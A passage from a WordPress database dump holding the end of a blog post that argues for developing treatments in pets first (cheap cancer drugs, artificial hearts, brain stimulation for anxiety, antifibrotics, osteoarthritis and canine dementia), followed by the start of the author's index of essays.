year (a biologic for canine atopic dermatitis), and everything else, currently, makes less than that. Most animal drugs are lucky to crack $50 million a year, especially cat drugs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!v278!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F677f0c3e-6f3b-4bb3-981d-2bed4eb980f0_1230x706.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!v278!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F677f0c3e-6f3b-4bb3-981d-2bed4eb980f0_1230x706.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is a picture of the dog who invented Apoquel and Cytopoint, the canine atopic dermatitis biologics that make $1b+/year. His human hands helped him with the lab work and the Lab work. He is the wealthiest dog alive.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That being said, there are still major, uncracked problems in animal health that could be worth $100+ million/year, and possibly $1+ billion/year. These same uncracked problems are, not coincidentally, $1+ billion/year problems in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider this my open call for pitches. If you are trying to work on the ideas below (or any other $100+ million/year problem) and are interested in trying to make them work for pets before humans, contact me at trevor [at] highwaypharm.com . I’ll help any way I can.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. Affordable cancer treatments</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Lots of pets get cancer, like somewhere around 25% of dogs and 20% of cats. Lots of pets die of cancer, including for me, personally, 2 rats and 3 dogs (all Labrador Retrievers).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cancer in humans has, of course, been a major sink for research dollars and time since Nixon’s War on Cancer, with, to be honest, questionable bang for our buck<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-1-148496146\">1</a>. But, I think we can say that now, in the year 2024, cancer treatment options for human are pretty good on average, with some cancer treatment options verging on excellent, depending on the type of cancer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What they aren’t, however, is cheap. Keytruda (pembrolizumab), for example, is an incredible drug for a range of cancers, but it’s about $14k per month. This is not such an issue for humans on insurance, but it’s out of reach for almost all dog or cat owners.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’d be a huge opportunity in the pet world for drugs like Keytruda (checkpoint inhibitors) that could be priced at even $1k/month. This would have to be paired with relatively cheap diagnostics, like tumor sequencing, but those are also becoming more common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keytruda alone would be a massive market in dogs and cats. About 20-30% of all human cancer can be treated with Keytruda. If we assume that’s also true in dogs and use the National Cancer Institute’s number of 6 million dogs diagnosed with cancer each year, we end up with roughly 6 million dogs diagnosed with cancer each year * 30% = 1.8 million dogs eligible for Keytruda each year. That’s a maximum market size of $1.8 billion per month for dogs alone, or $21.6 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’d have to adjust these numbers down because not all pet owners can afford $1k/month and not all dogs would be on Keytruda for a full year (although some would be on Keytruda for more than a year). But, still, adjusting down from $21.6 billion/year gives a lot of room before we’d get below $1 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Merck, the makers of Keytruda, can’t provide a lower cost version of Keytruda themselves without cannibalizing their human sales. However, anyone who could figure out how to make cancer drugs as effective as Keytruda and offer them cheaply to pets could not only unlock a huge pet market, but also a huge human market as well for the enormous number of people who desperately want cancer treatment but they (or their national healthcare system) can’t afford $100k+year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2. Affordable organ transplants or synthetic organs&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cats and dogs, like humans, get organs that age. About half of geriatric cats get chronic kidney disease, while up to 75% of dogs can have heart problems. One potential fix for this is to fix the affected kidney or heart. Another potential fix is to replace the affected organ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This should be an easier process than it is in humans. There are, unfortunately, no shortage of dogs and cats that are killed in shelters, put down by vets, or sacrificed for science. So, logically, there are plenty of organs that could be transplanted into a dog or a cat. However, in reality, almost no dogs or cats ever get organ transplants, because the cost of doing so is very expensive, the logistics aren’t there, and veterinarians don’t have the necessary training.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If someone could figure out how to get the cost of a cat kidney transplant down, this would open up a huge market. This probably wouldn’t be a winner-takes-all therapeutic market, though, and would probably be more like a specialized animal health hospital with a big logistics arm, unless there was a key market innovation that allowed for easy transplantation<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-2-148496146\">2</a>. So, probably not $100m+, there, for any individual company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The winner-takes-all therapeutic market would be in the technically harder thing, cheap synthetic organs. Right now, artificial hearts go for about $1,000,000 all told<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-3-148496146\">3</a>, and artificial kidneys are still in testing. In order for artificial hearts to be feasible for pet owners, I’d think that would have to come down to like $10k for each, with the idea being that middle class pet owners would be willing to pay that much for a literally life-saving treatment .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Claude claims that the materials for each artificial heart are about $10k, total. But, some major part of that is the bespoke nature of the artificial heart, and the fact that companies can’t save much money by saving on the material cost of the heart. So, let’s say we can get the material cost of artificial hearts down to $5k. Now we have $5k left to pay ourselves and the veterinary surgeons who are going to transplant the heart for us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s earmark $3k for the veterinary surgeons and their staff, or $600/hr for 5 hours. At this rate, we’d have to make sure that transplanting this heart isn’t much more difficult than repairing an ACL on a dog (i.e. requires roughly 6 months of training). I think we’d be able to do so if we also focused on making the artificial heart much easier to transplant than a normal heart. It already would be, naturally, given that artificial hearts don’t suffer tissue death outside the body, but there’s additional room for improvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take the 10-20% of cats and dogs that die of heart disease each year as your total possible market, and that gives us maybe 1.5 million potential customers at $2k per heart. So, we get roughly $3 billion/year in potential revenue, which, as before, we’d have to modify down, but it sounds pretty good as a starting point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, again, letting the rest of the world get a cheap artificial heart is a big deal. While the current number of people who are in line for a heart transplant is only in the thousands, some big part of that is how expensive and complicated heart transplants are. Considering that 1,000,000+ people get heart surgery each year, I’d bet there are way more people who would get an artificial heart transplant if it was safe, cheap, and reliable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3. Predictable, safe, non-invasive behavioral modification for anxiety and reactivity</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pretty much all dogs and cats are reactive in some way or another. Even my dog, who’s generally very sweet (although incredibly hyper), gets so upset around his nails being cut that he’ll snap at the vet if they try to do it. Some large proportion of dogs or cats are so reactive that they force their owner to change their lifestyle or even put their pet down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The treatments that exist for reactivity and anxiety are entirely drawn directly from people and are about as blunt as you’ve grown to expect from drugs for mental health. In broad terms, there are tranquilizers like trazodone, benzos like Xanax (alprazolam), and SSRIs like Prozac (fluoxetine). None of these drugs are great. They make the dog or cat appear drugged, don’t work in particularly stressful situations, and, in the case of SSRIs, take a while to start working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What pet owners want is a treatment that consistently and predictably treats anxiety and reactivity without any side effects. So, Rover or Fluffy can still act cute and energetic most of the time, but they don’t attack the mailman/you/the neighbor’s dog on sight.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I understand that, for most people in the neuro field, this is the equivalent of saying, “I want to eat all the ice cream in the world and not get fat”. Like, yes, that is what people with reactive pets want, and that’s also what people with anxiety or panic disorders themselves want, but it’s not going to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I think the research that’s being done right now on invasive and non-invasive brain stimulation (i.e putting electrodes inside the brain or using focused ultrasound outside the brain) might be the key to this. Retraining a dog or cat’s brain to see certain situations as nonthreatening by stimulating different parts of their brain could be a relatively rapid, predictable way of modifying behavior.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The barriers to this aren’t trivial. Invasive brain stimulation requires either a human or robot that can perform brain surgery, neither of which exist for vets right now and which would have side effects of its own. Noninvasive brain stimulation, on the other hand, shows more promise, especially transcranial magnetic stimulation and transcranial direct stimulation. Both of these have been used in rats to reduce anxiety.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Right now, though, noninvasive brain stimulation means dealing with a complex, clunky device. It’s hard enough to do it on a human, nevermind an anxious cat or dog. In order for this technology to make it into the mainstream, it has to be as easy to use as a beep collar: snap on, wait for your pet to freak out, and press the button to calm it down. Repeat until your pet no longer reacts to the bad stimulus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do this right, and it could be an almost universal treatment for pets. I know a lot of humans who’d want to have this, too. Imagine pressing a button every time you get a panic attack or find yourself stress-procrastinating and - poof! - the anxiety goes away. Pretty good pitch, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4. Reversal of fibrosis and organ aging (kidney, liver, pancreas, glaucoma)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As mentioned before, all pets have organs that age. One possibility is to replace those organs. This is difficult.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another possibility is to reverse the aging of those organs. This may be easier. Probably the easiest path to doing this is to clear up the fibrosis that occurs with organ aging. Fibrosis, or the buildup of scar tissue, is an inevitable result of aging in any organ. Organs get injured, they get repaired, and the repair process leaves behind a scar. Rinse and repeat enough times, and you get an organ that’s more scar tissue than normal tissue, with the poor performance to match. While fibrosis may not be the sole or even the main cause of aging in an organ, it makes the organ perform worse, as useful space and tissue in the organ is clogged up by scar tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many different organs in dogs and cats that get fibrotic as pets age. In cats, kidneys commonly get fibrotic, while in dogs, the pancreas commonly gets fibrotic<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-4-148496146\">4</a>. Clearing out that fibrosis would help aging pets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a pretty long list of antifibrotic drugs, from TGF-beta inhibitors to mTOR inhibitors to antioxidants. Sorting through all of them will probably be a topic for a later blog post, although (spoiler alert) it has a pretty significant intersection with my current work, so I’m going to have to think carefully about what I say.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any company that wants to argue that their specific antifibrotic drug will work in say, glaucoma, will have to argue that theirs is somehow better than everyone else’s, probably through in vivo work in the animal in question. This raises the difficulty level, but it’s still doable. There are animal models for&nbsp;<a href=\"https://journals.lww.com/kidney360/fulltext/2023/10000/animal_models_of_kidney_disease__challenges_and.21.aspx\">inducing kidney injury</a>&nbsp;or&nbsp;<a href=\"https://www.frontiersin.org/journals/physiology/articles/10.3389/fphys.2020.614591/full\">pancreatitis</a>, which are possible (although depressing) to do in dogs or cats. Then, you just need to make the leap from repeated induced&nbsp;kidney or pancreatic injury to chronic kidney disease or pancreatitis, which is a little questionable but might be useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, personally, I think a better option would be to work on aged animals of certain breeds that naturally develop chronic kidney disease or pancreatitis at high rates. This would require more work and probably a specialized lab, as there are approximately zero labs that have dog breeds other than beagles or really any specialized cat breed. Or it would require close partnership with a group that already works with a lot of those animals, like a specialized animal rescue.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, again, harder difficulty, but the payoff would be twofold: a more realistic animal model of whatever chronic disease you’re looking at, and less moral culpability for inducing a debilitating chronic disease in a helpless animal. All that would be left to do is try out your antifibrotic drug of choice (or a range of antifibrotic drugs) on this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be particularly exciting especially because these trials are super difficult to run in humans. They take a long time, you’re dealing with very sick people, and the progression is hard to predict. As a result, pretty much none of these very common chronic diseases have particularly good therapeutics. Getting good results for a therapeutic in, say, chronic kidney disease in animals would be a strong signal that we’d be able to get our first good result in humans for this disease.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5. Cure for osteoarthritis&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pretty much all aged humans and animals suffer from osteoarthritis. This isn’t a surprise. Osteoarthritis is really just insufficiently repaired injury to the joints. Your joints are put under constant stress, both by daily living and by one-off traumatic events. In children and young animals, these stresses heal quickly. In old people and old animals, they don’t heal quickly, and sometimes they don’t heal at all.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only actual “cure” for osteoarthritis in people or animals is to replace the joint. This is about $30k per joint in humans, and about $5k per joint in cats or dogs. This is, of course, prohibitively expensive for most people, especially outside of the US. It’s also only really effective for hips, knees, and shoulders. Spinal replacements, especially, have noticeably bad outcomes, but tend to be something people want replaced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would be great to get these costs to go down, although there’s always going to be a floor of how low the costs can go, given the time required by highly trained professionals (the cost of the joint replacement itself is only about $1500, even for humans, so way cheaper than an artificial heart) And, even if the costs do go down, like by an invention of a new technique that makes joint replacements quicker, it’s hard to imagine how a single company could capitalize on it themselves. The only exception I could imagine is if there was some way to productize the new technique (e.g. a robot that does joint replacement surgery or an external joint replacement), but that’s outside my realm of expertise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The $1b+ opportunity in animals would be a curative therapeutic option, beyond just anti-inflammatories. Stem cells were supposed to be that option (and are still marketed as such by unscrupulous human and animal health clinics), but have had limited success, to put it generously. As it turns out, if you just randomly put stem cells in an injured joint, the stem cells don’t really know what to do, and don’t automatically turn into productive parts of that joint.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I still think that basic idea of regenerating the joint is what’s necessary to cure osteoarthritis and unlock this therapeutic opportunity. I’m not sure if this will be in the form of providing some sort of scaffolding for stem cells (like artificial cartilage) or maybe somehow retraining the reparative capacity of the joint (like by epigenetic modulation, growth factors, or even bioelectricity). Regardless, there’s a big opportunity there for basically all aged animals, including horses or zoo animals. Osteoarthritis comes for us all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">6. Treatment for dementia</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I probably don’t need to belabor the point that dementia in people is a big deal with no good solutions. Everyone and their mother have an opinion about dementia and why the amyloid hypothesis isn’t working. or at least not well. I also won’t opine on what a better treatment would be, although I have my ideas.<br><br>Instead, I just want to point out that dogs get canine cognitive dysfunction, which is very similar to dementia, and elderly dogs get it at double digit rates. Sedentary dogs also get it really frequently, which means elderly sedentary dogs end up with an incredibly high rate of dementia. This means that any lab that keeps dogs until a natural death is almost guaranteed to have a high percentage of dogs with dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead of testing out a dementia treatment on a person or a monkey, or, you know, trying to somehow give a mouse Alzheimer’s, any researcher can test a dementia treatment on a comparatively rapidly progressing naturally occurring model of dementia in dogs. If it works, awesome, now you have a dementia treatment for dogs and strong evidence for one in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only caveats are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. There’s no universally agreed upon test for dementia in dogs, and it’s always hard to tell the difference between a dog who can’t do something and a dog who doesn’t feel like doing something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. People’s complaints about doggy dementia are mostly around them pooping in the house or being reactive. These are related to, but not the same as, being cognitively disabled. So, a successful treatment for dogs would need to consistently fix these types of symptoms, while that’s not true for a successful treatment for humans. In other words, it’s possible to develop a treatment for dogs that’s not good for humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, these are challenges worth fighting through. Given that even getting to humans in dementia is at least $15 million, and getting to an approved drug is probably around $1b, being able to test dementia drugs more cheaply and quickly is worth a lot. It’d be much easier to have an iterative approach with a model population like dogs, where you can see if the treatment works in probably like 6 months in a completely captive population. If it doesn’t, revise and repeat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-1-148496146\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">I’ve written about cancer’s perverse development incentives before</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-2-148496146\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In terms of patentable moats, I can imagine some sort of genetic editing of either donor or recipient to make immune rejection less likely. I can also imagine technology that allows for longer preservation of organs from donor to recipient to allow for an easier supply chain. But, that still means you’d need someone to actually do this stuff who could handle the complicated logistics, like maybe one of the veterinary hospital chains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-3-148496146\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I’m also seeing $200k in some places, so I don’t know. Point is that it’s a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-4-148496146\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I wanted to start a fight, I’d say that the canine brain also gets fibrotic in the form of amyloid plaques, and this may be a cause of canine cognitive decline a.k.a. doggy Alzheimer’s. But, I’ll save that for a future blog post.&nbsp;</p>\n<!-- /wp:paragraph -->','A list of health problems that should be solved pet first','','inherit','closed','closed','','482-revision-v1','','','2025-07-03 19:19:39','2025-07-03 19:19:39','',482,'https://trevorklee.com/?p=483',0,'revision','',0);
INSERT INTO `wp4v_posts` VALUES
(484,1,'2025-07-03 19:20:17','2025-07-03 19:20:17','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- 